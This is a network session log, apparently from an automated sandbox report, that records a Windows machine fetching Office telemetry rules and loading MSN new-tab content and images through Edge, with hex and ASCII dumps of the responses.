2024-10-30 22:11:43 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:43 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:43 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:43 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 7b68ac53-d01e-0082-7e67-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221143Z-16849878b78zqkvcwgr6h55x9n00000008400000000090z4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 22:11:43 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	49924	23.96.180.189	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:43 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=1C762142180C6CEE0191346A19FD6D49&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=17e5ac33b781468fbc3d064c67aa898d HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1C762142180C6CEE0191346A19FD6D49; _EDGE_S=F=1&SID=0F328B97E1F4652514759EBFE0BC648E; _EDGE_V=1
2024-10-30 22:11:44 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 30 Oct 2024 22:11:43 GMT Connection: close
2024-10-30 22:11:44 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:43 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:44 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:43 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 19ae2231-801e-007b-0d9c-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221143Z-16849878b78g2m84h2v9sta29000000007g000000000pnnv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:44 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	49929	23.55.178.243	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:44 UTC	634	OUT	GET /tenant/amp/entityid/BB1msB1O.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 22:11:44 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 23 Oct 2024 15:34:18 GMT X-Datacenter: eastap X-ActivityId: 451a31b5-6ea3-4c00-9f6a-916587318427 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msB1O X-Source-Length: 73239 Content-Length: 73239 Cache-Control: public, max-age=192222 Expires: Sat, 02 Nov 2024 03:35:26 GMT Date: Wed, 30 Oct 2024 22:11:44 GMT Connection: close
2024-10-30 22:11:44 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-30 22:11:44 UTC	16384	IN	Data Raw: b2 79 a9 b0 83 00 6a 32 e2 4e f3 f3 7c e3 cb 63 fd bb 26 65 40 49 ae 9a 9d ba 00 fa 9c b9 50 57 75 66 d9 05 24 62 19 18 e2 74 76 d9 ee 79 24 de 50 51 5c 4c a8 50 6e 09 07 32 66 9b 9c 68 56 2c a7 90 4f ee 2a 71 55 53 40 98 ed ae 83 57 e6 39 cb e2 fd cc 58 81 1a 53 21 b8 bb 15 cc dd e6 54 bc 50 94 2a aa d7 0a 46 47 68 d3 79 2f 8a 45 63 ab 8b d4 42 d5 f4 76 39 2e 54 df 57 78 a1 fb 48 f4 8e f8 fb 46 f2 5f aa b8 54 94 a9 22 26 a6 06 9c 3a a8 f4 f2 f6 d6 9b 29 b2 90 02 92 84 24 fb 20 9a 93 b8 a9 d6 53 67 94 5a 7b d5 92 a5 9d d4 92 75 27 21 2f 9d da cb aa 8b 09 ee 12 98 04 c4 89 f7 7c 9f 1f 92 bd 75 3c ca ad 2d 14 12 67 20 9d 29 39 8c a1 f4 95 75 58 d2 98 e0 23 e7 eb 76 dd b4 61 4a 04 21 44 41 39 d3 dd 2f 30 34 2f 78 c9 f0 79 eb ff 00 87 42 94 20 92 40 4e dd 7c Data Ascii: yj2N\|c&e@IPWuf$btvy$PQ\LPn2fhV,OqUS@W9XS!TPFGhy/EcBv9.TWxHF_T"&:)$ SgZ{u'!/\|u<-g )9uX#vaJ!DA9/04/xyB @N\|
2024-10-30 22:11:44 UTC	2318	IN	Data Raw: ac 27 ca 35 a3 96 d3 10 6d b8 85 43 b9 56 97 6c 8c 49 22 6a 24 3a 28 71 39 c3 ec ab 90 5a 05 92 48 1d ed 2b f6 ce f7 5f 35 c9 2f 94 5a 64 82 0e 44 39 70 9e 5c d8 82 fd 47 2d c9 22 e7 2e ab a6 a4 e5 b8 41 82 d7 3b c9 a2 c0 b2 a0 3e d4 95 d6 84 9c e1 fa bb 42 da 79 74 a5 34 4c 94 7f 55 41 3d 6f 13 96 db 24 45 ce fe 1c 8f 83 1e ed 77 ac fb 43 10 da 3f 57 da b9 e4 5d ad 47 a0 ae 9b 5f 9e 41 fc 37 33 6d 7e ca a1 5b 0d 0b f4 fc d2 25 2b e1 0a 1b 43 c6 5c c4 f9 4c 38 9c 7b c2 23 c9 13 f6 2e 3c 0e 4f 6e 61 43 d9 3d 8f 94 56 17 84 e9 79 11 b1 69 cb d4 f5 a2 f0 a2 8e 44 42 b8 28 3c 3a c4 a9 e6 c7 79 6a 47 19 e9 e0 f9 9c b7 33 09 03 54 67 fc 4e 5e a7 b0 dd 00 5d 41 3e 52 31 24 ed 7e 4d 49 52 54 4c c0 f9 3d e3 0e 79 cd 54 c7 ab d7 5e b8 8b 89 42 82 bd 13 20 0d fc 77 Data Ascii: '5mCVlI"j$:(q9ZH+_5/ZdD9p\G-".A;>Byt4LUA=o$EwC?W]G_A73m~[%+C\L8{#.<OnaC=VyiDB(<:yjG3TgN^]A>R1$~MIRTL=yT^B w
2024-10-30 22:11:44 UTC	16384	IN	Data Raw: de f2 97 ec 9c ed 9c 43 67 d1 d1 ca aa 79 7b d6 8f d8 ac 60 0d 41 a1 f5 bc d5 5f 49 bf 44 e6 ba c5 7d 9a d6 45 fe 42 d2 b5 48 28 3f db f4 76 72 37 7b db 58 35 28 23 fb ad e5 fe 17 83 92 21 56 f9 8b 26 b1 0b 4f b9 5f 27 47 29 73 bb 52 d2 3d 20 42 d3 e1 43 d8 f5 5c c7 ab 31 ff 00 33 e9 f6 76 b9 b4 05 61 57 b6 9e dd 5f 71 0b ef ac 0d f8 7b 63 d6 f9 77 88 ee 94 05 70 9c 69 fe 2a dc f0 f2 fc e7 74 ac 0a f4 4c f8 13 f2 2f 1c c5 78 6a e3 19 bf 2b 2c 2f 12 56 89 aa 0e 34 78 67 eb 7a 8a aa 46 48 b8 9c 73 ec 98 cb ae 8f 07 79 80 ca 60 52 27 83 a0 dc 90 ed 25 d3 4f 78 17 68 a5 54 52 68 93 bd 3c 5f 38 a8 0a 66 f1 dc be 52 60 31 52 54 a3 8c 02 45 27 83 e9 5f ab 94 ca 15 e3 91 b9 e5 29 97 ed 87 21 69 26 da 94 9c f3 a9 dd ab e5 f3 3c aa 53 79 40 51 20 8e d6 8c a0 9f 8e Data Ascii: Cgy{`A_ID}EBH(?vr7{X5(#!V&O_'G)sR= BC\13vaW_q{cwpi*tL/xj+,/V4xgzFHsy`R'%OxhTRh<_8fR`1RTE'_)!i&<Sy@Q
2024-10-30 22:11:44 UTC	16384	IN	Data Raw: d4 ba a5 24 a9 49 cc 53 16 ee 00 fb df 3c 9c 42 6a a0 92 68 28 92 77 7a f7 97 41 b9 dc db 3d e2 92 27 d0 42 44 c5 73 57 17 aa 4b 74 95 7b 1a e2 98 46 60 6b eb 3e e7 4a ee 04 12 13 fd c7 44 ee 9d f1 a0 7c cb 01 7d e9 5e 48 34 95 74 f7 3b ff 00 0e 6e 95 a2 4a 11 e9 15 1c d4 ad 33 76 92 ec 2a bc a5 8e f5 00 a9 5e 8c e6 13 c4 e9 2e 81 73 f1 64 db 04 80 91 4d e4 fd 5d e8 41 b5 65 76 ad f9 94 a3 e6 56 83 d4 e9 b3 ca 9b 69 04 2c 05 95 6d 90 f5 b7 f2 67 7f e6 db 70 84 da 4a 48 a8 4e 18 9c 86 dd 54 5f 19 6b 4e 34 79 3d 18 84 cc 0f 1d 5f a3 29 4a e0 ee 14 c5 49 3f 37 c1 55 84 77 f5 2a 89 93 3e 92 8e e0 1c 89 27 85 7c c5 cb 97 0c 93 1b 1e 20 a5 91 dd 26 80 99 3b c9 e2 fb 69 1f 89 ef 16 94 e0 c9 20 e6 63 86 92 d8 e5 d3 64 27 21 b9 79 99 dc 06 a7 b1 ea ca b7 00 5b 51 Data Ascii: $IS<Bjh(wzA='BDsWKt{F`k>JD\|}^H4t;nJ3v^.sdM]AevVi,mgpJHNT_kN4y=_)JI?7Uw>'\| &;i cd'!y[Q
2024-10-30 22:11:44 UTC	5904	IN	Data Raw: 0d d2 ea 58 99 b9 db e0 db ae 66 db 07 18 1b 90 c5 bc d9 0d c9 69 b6 43 f0 6d 8b 8c 82 90 e4 86 2d d5 81 4b 6c 1b 64 14 97 25 8b 8c 1c b4 dd 1a 60 9c 97 1c a6 e6 50 b5 5d cd f8 39 3c 3d ec d2 4c 68 c0 a8 7b 2c 89 07 ed 6b bc 19 11 1b 03 2f a7 ea 09 e1 1e 21 96 13 a2 bf c4 e6 34 ef 3d 4e 19 54 42 24 6f a8 71 ad fd bd db d1 63 99 50 94 04 ab 62 d3 3d 58 a5 ea 45 9f 88 a7 24 dd fe 94 9f 79 78 6c f2 c9 57 a5 89 27 4c 24 17 ea ac a9 40 01 87 14 6a 52 67 c4 a4 3c cb 95 c7 6f 5d bf a8 05 cb e9 81 71 55 d5 31 5e ac 4e e4 5c 56 30 02 64 1c d4 48 4c 78 47 cd ea 29 50 af 77 64 f8 a8 9e d9 60 84 83 38 87 86 14 80 36 50 38 cb 42 a2 2a 7e 6f 31 da da d5 48 4c f5 fd 1e 6c 57 37 0e b1 ea 70 02 d4 f0 ad 79 8a 9e b2 cd 53 32 60 f4 d8 f0 dc 32 69 03 a6 c7 b8 62 c7 8b 71 f0 Data Ascii: XfiCm-Kld%`P]9<=Lh{,k/!4=NTB$oqcPb=XE$yxlW'L$@jRg<o]qU1^N\V0dHLxG)Pwd`86P8B*~o1HLlW7pyS2`2ibq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	49927	23.55.178.243	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:44 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 22:11:44 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Mon, 12 Aug 2024 01:13:32 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: be192b45-753e-4017-8c28-8930da91b54e Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=155793 Expires: Fri, 01 Nov 2024 17:28:17 GMT Date: Wed, 30 Oct 2024 22:11:44 GMT Connection: close
2024-10-30 22:11:44 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	49926	23.55.178.243	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:44 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 22:11:44 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 24 Oct 2024 13:20:31 GMT X-Datacenter: eastus X-ActivityId: 16adcbce-12b9-406c-af23-858a83da7282 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=270616 Expires: Sun, 03 Nov 2024 01:22:00 GMT Date: Wed, 30 Oct 2024 22:11:44 GMT Connection: close
2024-10-30 22:11:44 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	49931	23.55.178.243	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:44 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 22:11:44 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Thu, 22 Aug 2024 19:49:06 GMT Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: cd066283-99e3-460f-9d21-8f43d4ee6fdb Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=296440 Expires: Sun, 03 Nov 2024 08:32:24 GMT Date: Wed, 30 Oct 2024 22:11:44 GMT Connection: close
